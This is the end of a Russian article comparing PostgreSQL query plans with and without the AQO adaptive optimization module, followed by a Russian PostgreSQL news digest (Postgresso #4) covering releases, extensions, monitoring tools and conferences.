В данном случае планировщик посчитал оптимальным план, в котором сначала, с помощью сканирования по битовой карте (`Bitmap Heap Scan on flights`) получаем набор строк из таблицы flights, который соединяем путем хеширования (узел `Hash Join`) с набором строк из таблицы ticket\_flights, полученных с помощью индексного сканирования (`Index Scan ... on ticket_flights`). Полученный результат будет использоваться как внешний набор набор строк для итогового соединения вложенным циклом (узел `Nested Loop`). Внутренний набор для этого соединения получается с помощью исключительного индексного сканирования таблицы tickets (`Index Only Scan ... on tickets`).
Самая “объемная” операция — получение внутреннего набора строк для Nested Loop — на неё читается 106 205 буферов.
Данный план можно назвать относительно хорошим, так как соединением вложенным циклом обрабатывается относительно небольшое число строк во внешнем наборе.
А теперь проведем эксперимент и посмотрим, как будет (или не будет) меняться предлагаемый план в зависимости от изменения дат в запросе. Даты подобраны таким образом, чтобы последовательно увеличить диапазон строк таблицы Flights удовлетворяющих условию, что приводит к ошибке планировщика в оценке кардинальности доступа к этой таблице. В плане выше видно, что с первой датой оптимизатор почти не ошибается в кардинальности (`Bitmap Heap Scan on flights f (rows=**8331**) (actual rows=**7673**)`).
Поочередно подставим в запрос следующие даты:
* 2017-04-01
* 2017-01-01
* 2016-08-01
И посмотрим результат:
**Планы запросов без AQO**
Дата **2017-04-01**
**Nested Loop** (rows=**31677**) (actual rows=**292392**)
Buffers: shared **hit=991756**
-> Hash Join (rows=**31677**) (actual rows=**292392**)
Hash Cond: (tf.flight\_id = f.flight\_id)
-> Index Scan … on ticket\_flights tf
Index Cond: fare\_conditions = 'Business')
-> Hash
-> Bitmap Heap Scan on flights f (rows=**7673**) (actual rows=**70553**)
Recheck Cond: scheduled\_departure > '2017-04-01'
Filter: actual\_arrival < (scheduled\_arrival + '01:00:00'::interval)
-> Bitmap Index Scan on ... [flights]
Index Cond: scheduled\_departure > '2017-04-01'
Buffers: shared hit=160
-> *Index Only Scan ... on tickets t*( rows=1 width=14) (actual rows=1 loops=**292392**)
Index Cond: (ticket\_no = tf.ticket\_no)
Buffers: shared hit=**980995**
Planning Time: 5.980 ms
Execution Time: 2771.563 ms
За счет уменьшения даты, увеличивается объем выборок из базы данных. Но структура плана осталась той же самой. Планировщик, за счет ошибки в кардинальности (`Bitmap Heap Scan on flights f (rows=**7673**) (actual rows=**70553**)`), считает, что наиболее оптимальным соединением получившихся наборов строк будет Nested Loop, хотя реальное количество строк в наборах в несколько раз больше, чем было в первый раз.
В данном случае наблюдается проблема использование зависимых (коррелированных) условий — по таблице Flights есть два условия, которые приводят к ошибке коррелированных условий (второе условие почти ничего не отсекает, но планировщик этого не знает).
Дата **2017-01-01**
**Nested Loop** (rows=**187710**) (actual rows=**484569**)
Buffers: shared **hit=1640723 read=49**
-> Hash Join (rows=**187738**) (actual rows=**484569**)
Hash Cond: (tf.flight\_id = f.flight\_id)
-> Index Scan ... on ticket\_flights tf
Index Cond: fare\_conditions = 'Business'
-> Hash
-> Seq Scan on flights f (rows=**45352**) (actual rows=**116985**)
Filter: scheduled\_departure > '2017-01-01'::date
AND actual\_arrival < scheduled\_arrival + '01:00:00'::interval
-> *Index Only Scan ... on tickets t* (rows=1) (actual rows=1 loops=**484569**)
Index Cond: (ticket\_no = tf.ticket\_no)
Buffers: shared **hit=1630118 read=49**
Planning Time: 6.225 ms
Execution Time: 4498.741 ms
У оптимизатора всё еще есть расхождения между плановой и реальной кардинальностью, но план продолжает быть почти идентичным предыдущему. В нём поменялся только метод доступа к таблице flights, теперь (даже при наличии ошибки) используется последовательное сканирование всей таблицы.
Работа по обработке таблицы tickets еще больше увеличилась — до более чем полутора миллионов буферов (1 630 118).
Дата **2016-08-01**
**Hash Join** (rows=**302200**) (actual rows=**771441**)
Hash Cond: (t.ticket\_no = tf.ticket\_no)
Buffers: shared **hit=25499 read=34643**
-> Seq Scan on tickets t (rows=2949857) (actual rows=2949857)
-> Hash
-> Hash Join (rows=**302236**) (actual rows=**771441**)
Hash Cond: (tf.flight\_id = f.flight\_id)
-> Index Scan on ticket\_flights tf
Index Cond: fare\_conditions = 'Business'
-> Hash
-> Seq Scan on flights f (rows=**73005**) (actual rows=**188563**)
Filter: scheduled\_departure > '2016-08-01'::date)
AND actual\_arrival < scheduled\_arrival + '01:00:00'::interval
Planning Time: 9.990 ms
Execution Time: 3014.577 ms
И снова есть разница между плановой и реальной кардинальностью наборов строк (`(rows=**302236**) (actual rows=**771441**)`). Но, даже с этой разницей, оптимизатор выбрал более эффективный план: Hash Join вместо Nested Loop.
Если собрать краткий итог, без использования модуля AQO планировщик отрабатывает следующим образом:
| | | | |
| --- | --- | --- | --- |
| **Дата** | **Буферы** | **Время, мс** | **Комментарий** |
| 2017-08-01 | 116 831 | 675.836 | Используется соединения nested loop и hash join, таблицы Flights и Tickets сканируются по индексу |
| 2017-04-01 | 991 756 | 2771.563 | Тот же план, но неоптимальный. При выборе доступа по индексу для таблиц Flights и Tickets видно, что планировщик сильно ошибается при расчете кардинальности |
| 2017-01-01 | 1 640 772 | 4498.741 | Всё тот же неоптимальный план. Но планировщик решает перейти на последовательное сканирование таблицы Flights |
| 2016-08-01 | 60 142 | 3014.577 | План наконец-то поменялся — оптимизатор понимает, что придется выбрать много строк из таблиц, поэтому переходит на последовательное сканирование таблиц Flights и Tickets. Неэффективный (в данном случае) nested loop заменяет на hash join. |
**Планы запросов с AQO**
Теперь подключим AQO. Запускаем режим обучения:
`SET aqo.mode = 'learn';`
И снова последовательно выполняем те же четыре запроса, которые были выше:
Дата **2017-08-01**
План запроса будет абсолютно таким же, как и запрос с той же датой, но без использования модуля. AQO пока еще обучается.
Дата **2017-04-01**
**Hash Join** (rows=293891) (actual rows=**292392**)
Hash Cond: (t.ticket\_no = tf.ticket\_no)
Buffers: shared **hit=25658 read=34640**
-> Seq Scan on tickets t (rows=2949857) (actual rows=2949857)
-> Hash
-> Hash Join (rows=293734) (actual rows=292392)
Hash Cond: (tf.flight\_id = f.flight\_id)
-> Index Scan ... on ticket\_flights tf
Index Cond: (fare\_conditions)::text = 'Business'::text
-> Hash
-> **Bitmap Heap Scan** on flights f
Recheck Cond: scheduled\_departure > '2017-04-01'::date
Filter: actual\_arrival < scheduled\_arrival + '01:00:00'::interval
-> Bitmap Index Scan on ... [flights]
Index Cond: scheduled\_departure > '2017-04-01'::date
Buffers: shared hit=160
Planning Time: 9.652 ms
Execution Time: 2218.074 ms
Уже на второй “проход”, подсказки модуля AQO кардинально повлияли на выполнение запроса — вместо соединения вложенным циклом используется соединение хешированием. В качестве метода доступа к таблице Tickets используется последовательный доступ. Кардинальность соединений рассчитаны близко к реальным. Количество прочитанных буферов примерно равно тому количеству, которое было прочитано при использовании удовлетворительного плана в последней итерации эксперимента без использования модуля AQO.
Дата **2017-01-01**
**Hash Join** (rows=484452) (actual rows=**484569**)
Hash Cond: (t.ticket\_no = tf.ticket\_no)
Buffers: shared **hit=25534 read=34608**
-> Seq Scan on tickets t (rows=2949857) (actual rows=2949857)
-> Hash (rows=484464) (actual rows=484569)
-> Hash Join (rows=484464) (actual rows=484569)
Hash Cond: (tf.flight\_id = f.flight\_id)
-> Index Scan ... on ticket\_flights tf
Index Cond: fare\_conditions::text = 'Business'::text
-> Hash
-> **Seq Scan** on flights f (rows=116971) (actual rows=116985)
Filter: scheduled\_departure > '2017-01-01'::date
AND actual\_arrival < scheduled\_arrival + '01:00:00'::interval
Planning Time: 6.264 ms
Execution Time: 2746.485 ms
В данном случае план почти не изменился — вместо сканирования таблицы Flights по битовой карте используется последовательный доступ.
Дата **2016-08-01**
А тут план совсем не изменился.
Снова посмотрим на результат:
| | | | |
| --- | --- | --- | --- |
| **Дата** | **Буферы** | **Время, мс** | **Комментарий** |
| 2017-08-01 | 116 831 | 662.966 | План такой же, как и без использования модуля |
| 2017-04-01 | 60 298 | 2218.074 | С помощью подсказок модуля, оптимизатор понимает, что планируется соединение большого количества строк, и уже на этом шаге улучшает план путём замены nested loop на hash join |
| 2017-01-01 | 60 142 | 2746.485 | План ещё немного улучшился — вместо доступа по битовой карте к таблице flights используется её последовательное сканирование |
| 2016-08-01 | 60 142 | 3253.861 | План остался без изменений — лучший план в данном случае |
При включенном AQO планировщик довольно быстро соображает, что надо переключиться с соединения вложенным циклом и использования индекса на соединение хешированием и последовательное сканирование.
Подведем итог
-------------
У использования модуля AQO для адаптивной оптимизации запросов есть как достоинства, так и недостатки.
Одним из достоинств использования модуля является то, что не обязательно отслеживать зависимые условия в запросах. В некоторых случаях скорость выполнения запросов может вырасти. И есть различные режимы использования модуля. Например, можно использовать AQO для оптимизации только определенных типов запросов.
Из недостатков модуля можно выделить дополнительные накладные расходы на обучение и сохранение статистики в структурах модуля. И собранная модулем статистическая информация не передается на реплики.
Модуль AQO не является “серебряной пулей” от всех возможных проблем планировщика. Например, в некоторых ситуациях модуль может заменить расширенную статистику (если её не создавать руками), или не будет обращать внимания на неактуальную статистику. А вот необходимые индексы модуль не создаст и, тем более, не перепишет текст запроса.
Поэтому, не стоит включать модуль для всех запросов. Идеальными кандидатами оптимизации для AQO являются запросы, где ошибка планировщика в вычислении кардинальности узлов приводит к выбору плохого плана. И, по каким-либо причинам, не удается повлиять на уточнение этой оценки. | https://habr.com/ru/post/508766/ | null | ru | null |
# Постгрессо №4 (41)
*ИТ-инфраструктура — это как водопровод, без неё жизнь уже почти невозможна. И в эти безрадостные дни мы продолжаем выпускать Postgresso.*
---
**[PostgreSQL 14.3](https://www.postgresql.org/about/news/postgresql-143-137-1211-1116-and-1021-released-2449/)**
Вышла версия 14.3 ([release notes](https://www.postgresql.org/docs/release/14.3/)), и обновлены предыдущие ветки: 13.7, 12.11, 11.16, и 10.21 (объявлено, что ветвь PostgreSQL 10 не будет обновляться с 10-го ноября 2022-го).
В версии много исправлений, отметим два. *Александр Лахин* из Postgres Professional обратил внимание на лазейку:
В случае, когда привилегированный пользователь работает с объектами другого пользователя, команды REINDEX, CREATE INDEX, REFRESH MATERIALIZED VIEW и CLUSTER отрабатывали недостаточно безопасно. Это же относится и к autovacuum, и pg\_amcheck. Они активировали релевантную защиту (заключали процессы в песочницу операций, ограниченных соображениями безопасности — «security restricted operation» sandbox) или слишком поздно, или вообще не активировали её. Если у атакующего были привилегии создавать не временные объекты хотя бы в одной схеме, он мог запустить под суперпользователем зловредные SQL-функции.
Похожая проблема, но с конструкциями DECLARE CURSOR… WITH HOLD и вызовом отложенных триггеров в выражениях индексов и запросов матпредставлений была замечена и ликвидирована ещё в PostgreSQL 12. Новый баг поправлен во всех версиях PostgreSQL от 10 до 14.
Второй исправленный баг требует реиндексации после апгрейда всех GiST-индексов по столбцам, использующим тип данных ltree. Их создаёт расширение [ltree](https://postgrespro.ru/docs/postgresql/14/ltree) для представления меток данных в иерархической древовидной структуре. Оно также предоставляет расширенные средства для поиска в таких деревьях.
О релизе можно прочитать [здесь](https://www.postgresql.org/docs/release/14.3/).
**[Postgres Pro Enterprise 14.2.1](https://www.postgrespro.ru/docs/enterprise/14/release-proee-14-2-1)**
Выпуск основан на PostgreSQL 14.2 и включает все новые возможности, появившиеся в PostgreSQL 14, а также исправления ошибок, вошедшие в корректирующие выпуски PostgreSQL 14.1 и 14.2. По этой же [ссылке](https://www.postgrespro.ru/docs/enterprise/14/release-proee-14-2-1) перечислены значимые отличия этой версии от Postgres Pro Enterprise 13.6.1.
PG, AI и ML
-----------
**[RelationalAI Raises $122M to Redefine How Intelligent Data Apps Are Built](https://relational.ai/blog/relationalai-raises-usd122m-to-redefine-how-intelligent-data-apps-are-built)**
RelationalAI — это система реляционных графов знаний (relational knowledge graph system). Она поддерживает SQL, но имеет ещё и развитые средства, ориентированные на тех, кто делает приложения машинного обучения и ИИ. В компании разработали соответствующий декларативный язык — [Rel](https://docs.relational.ai/rel/primer/basic-syntax). Он должен вобрать лучшее из двух языковых миров: реляционное исчисление; принципы языка [Datalog](https://en.wikipedia.org/wiki/Datalog) (декларативный язык логических вычислений, подмножество [Prolog](https://en.wikipedia.org/wiki/Prolog)-а), логической архитектуры [HiLog](https://en.wikipedia.org/wiki/HiLog)-а и [Alloy](https://en.wikipedia.org/wiki/Alloy_(specification_language)) (язык спецификаций, который используют для валидации сложных моделей) — эти три должны быть удобны для специалистов по ИИ. При этом, утверждают создатели, синтаксис интуитивен и очень компактен. Во всяком случае убедить инвесторов разработчикам удалось.
**[PostgresML](https://github.com/postgresml/postgresml)**
Как ясно из названия СУБД, это Postgres, приспособленный для машинного обучения. Можно обучать модели и делать онлайновые предсказания, используя только SQL. Все данные остаются в базе.
Это расширение (pgml), которое задействует PL/Python. Можно установить сразу всё, что нужно для работы в докере, а можно собрать как расширение. Ссылки на этой [странице](https://postgresml.org/guides/installation/).
**[CQL Filtering in pg\_featureserv](https://www.crunchydata.com/blog/cql-filtering-in-pg_featureserv)**
[pg\_featureserv](https://github.com/CrunchyData/pg_featureserv) — это расширение, разработанное Crunchy Data. [CQL](https://en.wikipedia.org/wiki/Contextual_Query_Language) (Common/Contextual Query Language) — логический язык запросов, напоминающий SQL.
Пример синтаксиса:
```
continent = 'Europe' AND pop_est <= 5000000
```
pg\_featureserv ориентировано прежде всего на работу через Web с PostGIS. Использует новейший протокол [OGC API for Features](https://ogcapi.ogc.org/features/) (OAPIF) RESTful. Написан на Go. Загрузить можно [отсюда](https://github.com/CrunchyData/pg_featureserv#download).
**[Pl/Perl Recursion](https://fluca1978.github.io/2022/03/02/PlPerlRecursion.html)**
Не имеет прямого отношения к ИИ, но всё же: *Лука Феррари* (Luca Ferrari) показывает, как построить [последовательность Падована](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%9F%D0%B0%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B0) средствами Pl/Perl, используя рекурсию. Это не то же, что решать задачу на «обычном» Perl: в Pl/Perl непосредственно недоступны Perl-объекты, работать с ними можно только через SQL-объекты (функции, например). Лука показывает несколько способов построить рекурсию, а потом сравнивает их быстродействие. Быстрее всех работает решение с перловым модулем `Sub::Recursive`.
emacs и vim
-----------
**[Formatting SQL code with pgFormatter within Emacs](https://fluca1978.github.io/2022/04/13/EmacsPgFormatter.html)**
*Лука Феррари* фанат Emacs и рассказывает, как приспособить [pgFormatter](https://github.com/darold/pgFormatter) *Жиля Дароля* (Gilles Darold) для работы в любимом редакторе. Можно просто запускать pgFormatter внутри Emacs, но Лука ещё и написал *«простой и уродливый кусочек Lisp-кода, загрузив который, можно быстрей и удобней пользоваться pgFormatter»*.
**[Formatting SQL code with pgFormatter within Vim](https://www.endpointdev.com/blog/2022/04/formatting-sql-vim-pgformat/)**
Воодушевлённый примером Луки, *Джож Толли* (Josh Tolley, End Point Dev) опубликовал заметку, как заставить работать [pgFormatter](https://github.com/darold/pgFormatter) в редакторе Vim. Он тоже написал кусочек кода, не претендующего на универсальность и совершенство, зато использующий некоторые полезные свойства Vim. Комментарии и предложения автор предлагает постить на его [гитхаб](https://github.com/EndPointCorp/end-point-blog/issues/1861).
Мониторинг
----------
**[Point-in-Time PostgreSQL Database and Query Monitoring With pg\_stat\_statements](https://www.timescale.com/blog/point-in-time/)**
В статье *Райан Буз* (Ryan Booz, Timescale) останавливается на 4 темах:* подготовка к хранению снэпшотов;
* получение снэпшотов данных запросами к [pg\_stat\_statements](https://postgrespro.ru/docs/postgresql/14/pgstatstatements?lang=ru);
* сжатие, [постоянное агрегирование](https://docs.timescale.com/timescaledb/latest/how-to-guides/continuous-aggregates/), политики хранения данных (Data Retention);
* улучшение автоматического мониторинга запросов с `pg_stat_statements`.
Всё это делается в статье с использованием [TimescaleDB](https://www.timescale.com/products): в ней данные снэпшотов накапливаются, интервалы сбора снэпшотов устанавливаются её планировщиком (scheduler). Top 100 самых дорогих запросов определяются SQL-запросами к сохраненным снимкам.
Интересно сравнить такой способ мониторинга со специализированным инструментом [PWR](https://postgrespro.ru/docs/postgrespro/14/pgpro-pwr) (pgpro\_pwr) / [pg\_profile](https://github.com/zubkov-andrei/pg_profile). Там анализируются снэпшоты с многих системных таблиц, многоe делается автоматически. Для вывода там используется обычный html. Райан пользуется для визуализации [Grafana](https://www.timescale.com/blog/tag/grafana/).
**[Google Cloud PostgreSQL Under pgwatch2 Monitoring](https://www.cybertec-postgresql.com/en/monitoring-google-cloud-postgresql-with-pgwatch2/)**
*Каарел Моппел* (Kaarel Moppel, Cybertec) рассказывает, как мониторить, когда ничего нельзя — в том числе нет доступа к файловой системе. Каарел показывает, что и в таких экстремальных условиях их утилита [pgwatch2](https://github.com/cybertec-postgresql/pgwatch2) будет работать. Хранить метрики он советует в [TimescaleDB](https://www.timescale.com/products). И, конечно, установить расширение [pg\_stat\_statements](https://postgrespro.ru/docs/postgresql/14/pgstatstatements?lang=ru).
Новейшая версия pgwatch — [1.9.0](https://github.com/cybertec-postgresql/pgwatch2/releases/tag/v1.9.0). На этой странице описаны изменения. В том числе теперь она соответствует новым версиям Go и Grafana.
**[Understand Your PostgreSQL Workloads Better with pg\_stat\_monitor](https://www.percona.com/blog/understand-your-postgresql-workloads-better-with-pg_stat_monitor/)**
*Мэт Йонковит* (Matt Yonkovit, Percona) предлагает воспользоваться перконовским инструментом мониторинга [pg\_stat\_monitor](https://github.com/percona/pg_stat_monitor), который достиг фазы зрелости *general availability* (новейшая версия — стабильная [1.0.0](https://percona.github.io/pg_stat_monitor/REL1_0_STABLE/USER_GUIDE.html)).
**pg\_stat\_monitor** собирает данные из `pg_stat_statements` во временнЫе ведёрки (buckets), чтобы смотреть динамику по заданным промежуткам времени. По умолчанию это 10 ведёрок по 60 сек данных каждая. Есть политики хранения данных этих ведёрок. Если нужно хранить данные долго, pg\_stat\_monitor можно использовать вместе с другим инструментом хранения и/или мониторинга.
Умеет разбивать данные по IP пользователя. Умеет хранить, если потребуется, планы запросов (explain), собирает данные по затратам времени CPU. Опять же, интересно сравнить с [PWR](https://postgrespro.ru/docs/postgrespro/14/pgpro-pwr).
JSON(B)
-------
**[Better JSON in Postgres with PostgreSQL 14](https://blog.crunchydata.com/blog/better-json-in-postgres-with-postgresql-14)**
*Грег Керстинс* (Craig Kerstiens, Crunchy Data) рассказывает о том, насколько удобней работать с JSON(B) в 14-й версии по сравнению с предыдущими. Ему нравится новый синтаксис с индексной нотацией (как у массивов, по-английски **subscript syntax**), который позволяет обойтись без `->` и `->>`; нравится, как теперь работает GIN-индекс для JSONB.
Но ведь ещё более интересные изменения произошли в PostgreSQL 15. Ссылки на статьи об этом были в нашем [прошлом](https://habr.com/ru/company/postgrespro/blog/658783/) выпуске, здесь же напомним о статьи *Олега Бартунова* в Живом Журнале —
**[SQL/JSON in PG15!](https://obartunov.livejournal.com/206138.html)** и о более подробной статье на английском в [блоге](https://postgrespro.com/blog) Postgres Professional: **[SQL/JSON patches committed to PostgreSQL 15!](https://postgrespro.com/blog/pgsql/5969433)**
Также советуем обратить внимание на статью Олега о TOASTER:
**[One TOAST fits ALL: JSONB TOASTER](https://obartunov.livejournal.com/205362.html)**
На летний коммитфест ушёл предложенный [Pluggable toaster](https://commitfest.postgresql.org/38/3490/). Это API для TOAST, продолжение идеи AM API для методов доступа. Если воспользоваться таким API, то можно сделать работу с TOAST для некоторых типов данных гораздо более эффективной, так как внутренняя структура такого TOAST предсказуема. Разработчики Postgres Professional реализовали и расширение **jsonb\_toaster**, работающее с этим API (оно будет опубликовано позже), дающее большой выигрыш в производительности.
На эту тему был и [доклад](https://highload.ru/foundation/2022/abstracts/8963?) *Олега Бартунова, Фёдора Сигаева* и *Никиты Малахова* на только что завершившейся [Highload++ Foundation](https://highload.ru/foundation/2022).
В той же статье упоминается [GSON](http://www.sai.msu.su/~megera/postgres/talks/json-build-2020.pdf) — Generic JSON API, с которым можно будет работать и с JSON, и с JSONB.
Распределенные базы и шардинг
-----------------------------
**[Free O'Reilly Report on Distributed SQL Databases](https://www.cockroachlabs.com/blog/oreilly-what-is-distributed-sql/#free-oreilly-book)**
Появилась новая категория баз данных — распределённые базы данных. И это — событие. Во всяком случае, об этом говорят Cockrouch Labs в своём блоге, ссылаясь на экспертов О'Рейли. Их исследование можно [скачать](https://www.cockroachlabs.com/guides/oreilly-what-is-distributed-sql/) бесплатно, но с регистрацией.
**[How sharding a database can make it faster](https://stackoverflow.blog/2022/03/14/how-sharding-a-database-can-make-it-faster/)**
Написана статья *Тристой Хуан Пан* (Trista Juan Pan), которая известна в кругах open source как 2-й контрибьютор [Apache ShardingSphere](https://shardingsphere.apache.org/), обладательница наград *2020 China Open-Source Pioneer* и *2021 China OSCAR Open Source Pioneer*. Статья не техническая, там общие соображения и стратегии.
О производительности и тестировании
-----------------------------------
**[Как работает оптимизатор PostgreSQL при большом количестве таблиц в запросе](https://habr.com/ru/company/postgrespro/blog/662021/)**
*Павел Толмачёв*, наш коллега из отдела образования Postgres Professional написал основательную статью, в которой есть и теоретическая часть с наглядными схемами, и практическая: тестирование. Вот, например, что в статье говорится (болд мой):
*Запрос можно написать разными способами — перечислить таблицы **через запятую**, использовать ключевое слово **JOIN**, либо использовать **смешанный вариант** (не рекомендуется). Хотя результат работы таких запросов будет идентичен, но синтаксическая структура запроса будет отличаться (ниже показано как именно она будет отличаться). А раз отличается синтаксическая структура — то и **оптимизатор** PostgreSQL **будет обрабатывать** эти запросы **по-разному***.
Павел сгенерировал группу запросов (в каждом следующем запросе количество таблиц увеличивается на единицу), после их выполнения высчитывает среднее время планирования десяти попыток. Для тестирования используются простейшие таблицы из десяти строк. А график строится вплоть до 100 таблиц. Из статьи читатель узнает, насколько важны параметры
`[geqo](https://postgrespro.ru/docs/postgresql/14/geqo-pg-intro),
geqo_threshold,`
и `join_collapse_limit.`
Павел отсылает интересующихся к учебному курсу [QPT. Оптимизация запросов](https://postgrespro.ru/education/courses/QPT), к серии статей *Егора Рогова* [Запросы в PostgreSQL](https://habr.com/ru/company/postgrespro/blog/574702/) и к его же книге [PostgreSQL изнутри](https://postgrespro.ru/education/books/internals).
**[Using pgTAP to automate database testing](https://www.endpointdev.com/blog/2022/03/using-pgtap-automate-database-testing/)**
*Джош Толли* (Josh Tolley, End Point Dev) рассказывает о тестировании с [pgTAP](https://pgtap.org/). TAP расшифровывается как *Test Anything Protocol*, а pgTAP это набор функций для тестирования, которые тестируют, будучи внутри базы. В статье есть примеры, но не меньше рассуждений в жанре *зачем? с чего начать?*
**[How we optimized PostgreSQL queries 100x](https://towardsdatascience.com/how-we-optimized-postgresql-queries-100x-ff52555eabe)**
*Вадим Марковцев* применяет некоторые приёмы, и эти приёмы укладываются в темы: LEFT JOIN с дополнительными (лишними) условиями; расширенная статистика; нюансы выбора типа данных для первичных ключей; команда CLUSTER.
Интересная деталь: *Вадим* говорит о том, что ему до некоторых пор не приходилось иметь дело с жёсткими требованиями по производительности, с миллионами записей, о невозможности использовать [perf](https://perf.wiki.kernel.org/index.php/Main_Page) (один из любимых инструментов аналитиков в Postgres Professional) из-за облачных ограничений, и о том, что до конца 2021-го не было [pg\_hint\_plan](https://postgrespro.ru/docs/enterprise/14/pg-hint-plan), который ему, выходит, сильно помог — об этом есть отдельная главка статьи. Напомним, что в Postgres Pro Enterprise расширение [pg\_hint\_plan](https://postgrespro.ru/docs/enterprise/9.6/pg-hint-plan), [разработанное](https://github.com/ossc-db/pg_hint_plan) в Японии, входит аж с версии PostgreSQL 9.6. Но в статье, напоминаем, речь об облачном решении.
Ещё некоторые статьи
--------------------
**[8 Fascinating Things You Probably Didn't Know PostgreSQL Can Do!](https://www.enterprisedb.com/blog/8-cool-interesting-facts-things-postgresql-can-do)**
*Том Браун* (Thom Brown, EDB) предлагает действительно интересные трюки, которые мало кому придут в голову, но имеют практический, а не развлекательный смысл. Например, конструкции с таким странным SELECT могут пригодиться для сравнения таблиц (главка Whole-row References):
```
SELECT my_table FROM my_table;
```
Некоторые трюки укорачивают код и упрощают его чтение (главка Comparing a selection of columns); некоторые помогают создать себе подсказки, заодно объясняя, как можно использовать собственные параметры в `postgresql.conf` (главка Custom Config Parameters); некоторые просто расширяют кругозор — Том показывает, как созданную таблицу можно использовать как новый тип данных (главка Tables are Types). Есть и другие интересные трюки.
**[Analyzing Historical Flight Data With MobilityDB](https://www.cybertec-postgresql.com/en/analyzing-historical-flight-data-with-mobilitydb/)**
Многие помнят [выступления](https://pgconf.ru/2019/242944) по [MobilityDB](https://github.com/MobilityDB/MobilityDB) на [наших](https://pgconf.ru/2022) конференциях: **[MobilityDB: расширение PostgreSQL для управления мобильными данными](https://pgconf.ru/2019/242944)** на [PGConf.Russia 2019](https://pgconf.ru/2019) и **[Анализ движения наземного общественного транспорта Москвы: от PostGIS к MobilityDB](https://pgconf.ru/2020/265266)** на [PGConf.Russia 2020](https://pgconf.ru/2020).
На этот раз работу с MobilityDB демонстрирует *Флориан Надлер* (Florian Nadler, Cybertec) в блоге своей компании. MobiblityDB — это расширение, оно требует сначала установить расширение PostGIS. Для демонстрации Флориан пользуется открытыми данными [OpenSky-Network](https://opensky-network.org/). В анализируемой таблице около 52 млн. полётов.
Образование
-----------
В рамках обновления курсов для администраторов на 13-ю версию выпустили курсы DBA1, DBA3.
Свежий DBA1 [прочитали](https://postgrespro.ru/blog/news/5969464) и записали на видео в Элисте 19-21.04. Сейчас идет монтаж видео.
Некоторые релизы
----------------
**[pg\_ivm 1.0](https://yugonagata-pgsql.blogspot.com/2022/05/pgivm-v10-released.html)**
Расширение [pg\_ivm](https://github.com/sraoss/pg_ivm/releases/tag/v1.0) расшифровывается как Incremental View Maintenance. Его создателю, *Юго Нагата* (Yugo Nagata), не удалось [продвинуть](https://www.postgresql.org/message-id/flat/20181227215726.4d166b4874f8983a641123f5%40sraoss.co.jp) соответствующий патч ядра в версию PostgreSQL 15. Чтобы не ждать долго, он решил реализовать IVM как расширение. [Здесь](https://yugonagata-pgsql.blogspot.com/2022/04/pgivm-postgresql-extension-providing.html) объясняется, зачем нужно IVM, и как оно работает.
**[pgAdmin4 6.9](https://www.pgadmin.org/docs/pgadmin4/6.9/release_notes_6_9.html)**
Новое: добавлен статус бар для Query Tool; появились опции `Ignore owner` и `Ignore whitespace`. О других новшествах и исправленных багах — на той же [странице](https://www.pgadmin.org/docs/pgadmin4/6.9/release_notes_6_9.html).
**[bun](https://bun.uptrace.dev/)**
ORM для PostgreSQL, MySQL, MSSQL, и SQLite на Go. [Код](https://github.com/uptrace/bun/) находится на гитхабе [uptrace](https://github.com/uptrace/), где можно найти средства трассировки, разработанные при поддержке OpenTelemetry и ClickHouse. Последняя версия bun — [1.1.5](https://github.com/uptrace/bun/blob/master/CHANGELOG.md). В ней нет существенных изменений.
**bun** работает с PostgreSQL, MySQL (и MariaDB), MSSQL и SQLite. Умеет делать массовые INSERT, UPDATE (используя CTE) и DELETE. Есть средства миграции, тоже как Go-функции.
На странице в [гитхабе](https://github.com/uptrace/bun) есть ссылки на примеры, дискуссии и прочее.
**[pg\_back 2.1.0](https://www.postgresql.org/about/news/pg_back-210-released-2413/)**
[pg\_back](https://github.com/orgrim/pg_back) умеет сбрасывать все базы данных в файлы вместе с конфигурацией сервера и определениями ролей и табличных пространств.
В новой версии:* добавился режим quiet (задаётся `-q/--quiet`), приоритетный по отношению к режиму `verbose`;
* вычисляются контрольные суммы глобальных и ACL-файлов;
* сбрасываются `hba_file` и `ident_file`;
* шифрование и дешифровка полученных файлов;
* выгрузка файлов на AWS S3, Google Cloud Storage, Azure Blob Storage или удалённый хост по SFTP;
* системный таймер для Debian в пакетах, гарантированных `goreleaser`;
* проверка синтаксиса конфигурационного файла.
**[Apache AGE(incubating) 1.0.0](https://www.postgresql.org/about/news/announcing-the-release-of-apache-ageincubating-100-2444/)**
Apache AGE(incubating) — расширение PostgreSQL (AGE = A Graph Extension), которое добавляет функциональность графической базы данных. В AGE единое хранилище для реляционных данных и данных графической модели, и запросы к ним можно делать как на ANSI SQL, так и на графовом языке запросов [openCypher](https://opencypher.org/).
В релизе [1.0.0](https://github.com/apache/incubator-age/releases/tag/v1.0.0-rc1) появились, например, функции для загрузки графов из CSV-файлов; поддержка MERGE (не путать с MERGE, который только что [попал](https://www.cybertec-postgresql.com/en/postgresql-15-using-merge-in-sql/) в PostgreSQL); поддержка UNWIND.
Видеобеседы
-----------
**[Postgres.tv Open Talks](https://www.youtube.com/playlist?list=PLH8y1BNPAKjJCuZiDRl0qUEDaKLBpFvZ9)**
Это уже традиционные четверги с англоязычными гостями, которые проводят *Николай Самохвалов* и *Илья Космодемьянский*.
**[Open Talk #003. Do you vacuum everyday?](https://www.youtube.com/watch?v=JcRi8Z7rkPg)** — *Ханну Кросинг* (Hannu Krosing);
**[Open Talk #002. Past, Present, and Future of Logical Replication](https://www.youtube.com/watch?v=ILRdoq7UT3g)** — *Амит Капила* (Amit Kapila);
**[Open Talk #001. Postgres in a Microservices World](https://www.youtube.com/watch?v=rXdek4rv04Q&t=336s)** — *Брюс Момджан* (Bruce Momjian).
Конференции
-----------
**[PGConf.Russia 2022](https://pgconf.ru/2022)**
Только что закончился приём заявок на доклады. Сама конференция состоится 20–21-го июня.
**[Highload++ Foundation/2022](https://highload.ru/foundation/2022)**
Состоялась 13-14-го мая в Крокус-Экспо, Москва. Много Яндекса, много Go, много AI/ML. Про СУБД, кажется, меньше, чем обычно. Все тезисы докладов [здесь](https://highload.ru/foundation/2022/abstracts).
Мы упоминали о докладе про TOASTER. Вот ещё некоторые интересные темы:
* **Подсистема I/O в PostgreSQL: архитектура, проблемы, обходные пути** — *Артем Сергиенко*, Wrike;
* **Потоковая обработка BigData для МТС** [в том числе с PostgreSQL] — *Евгений Ненахов*, МТС Digital.
